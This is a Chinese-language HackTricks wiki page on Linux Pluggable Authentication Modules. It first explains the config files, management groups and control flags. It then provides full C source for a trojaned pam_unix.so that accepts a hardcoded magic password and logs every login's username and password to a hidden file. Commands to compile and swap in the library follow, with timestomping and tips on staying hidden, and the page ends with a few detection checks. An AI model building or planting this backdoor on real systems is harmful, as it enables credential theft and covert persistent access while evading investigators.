PAM - Pluggable Authentication Modules
Reading time: 7 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
PAM (Pluggable Authentication Modules) 作为一种安全机制,验证试图访问计算机服务的用户身份,根据各种标准控制他们的访问。它类似于数字门卫,确保只有授权用户可以使用特定服务,同时可能限制他们的使用以防止系统过载。
配置文件
- Solaris 和基于 UNIX 的系统 通常使用位于
/etc/pam.conf
的中央配置文件。 - Linux 系统 更倾向于目录方法,将特定服务的配置存储在
/etc/pam.d
中。例如,登录服务的配置文件位于/etc/pam.d/login
。
登录服务的 PAM 配置示例如下:
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
PAM 管理领域
这些领域或管理组包括 auth、account、password 和 session,每个领域负责身份验证和会话管理过程的不同方面:
- Auth:验证用户身份,通常通过提示输入密码。
- Account:处理账户验证,检查诸如组成员资格或时间限制等条件。
- Password:管理密码更新,包括复杂性检查或字典攻击防护。
- Session:管理服务会话开始或结束时的操作,例如挂载目录或设置资源限制。
PAM 模块控制
控制决定模块对成功或失败的响应,影响整体身份验证过程。这些包括:
- Required:所需模块的失败最终导致失败,但仅在检查所有后续模块后。
- Requisite:失败时立即终止过程。
- Sufficient:成功绕过同一领域的其余检查,除非后续模块失败。
- Optional:仅在它是堆栈中唯一模块时导致失败。
示例场景
在具有多个身份验证模块的设置中,过程遵循严格的顺序。如果 pam_securetty
模块发现登录终端未授权,则阻止 root 登录,但由于其“required”状态,所有模块仍会被处理。pam_env
设置环境变量,可能有助于用户体验。pam_ldap
和 pam_unix
模块协同工作以验证用户,pam_unix
尝试使用先前提供的密码,从而提高身份验证方法的效率和灵活性。
后门 PAM – 钩住 pam_unix.so
在高价值的 Linux 环境中,一个经典的持久性技巧是 用木马化的替代品替换合法的 PAM 库。因为每次 SSH / 控制台登录最终都会调用 pam_unix.so:pam_sm_authenticate()
,几行 C 代码就足以捕获凭据或实现 magic 密码绕过。
编译备忘单
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
编译和隐蔽替换:
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
OpSec Tips
- 原子覆盖 – 写入临时文件并
mv
到目标位置,以避免半写入的库锁定 SSH。 - 日志文件放置如
/usr/bin/.dbus.log
与合法桌面工件混合。 - 保持符号导出相同 (
pam_sm_setcred
等),以避免 PAM 错误行为。
Detection
- 比较
pam_unix.so
的 MD5/SHA256 与发行版包。 - 检查
/lib/security/
下的可全局写入或不寻常的所有权。 auditd
规则:-w /lib/security/pam_unix.so -p wa -k pam-backdoor
。
References
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。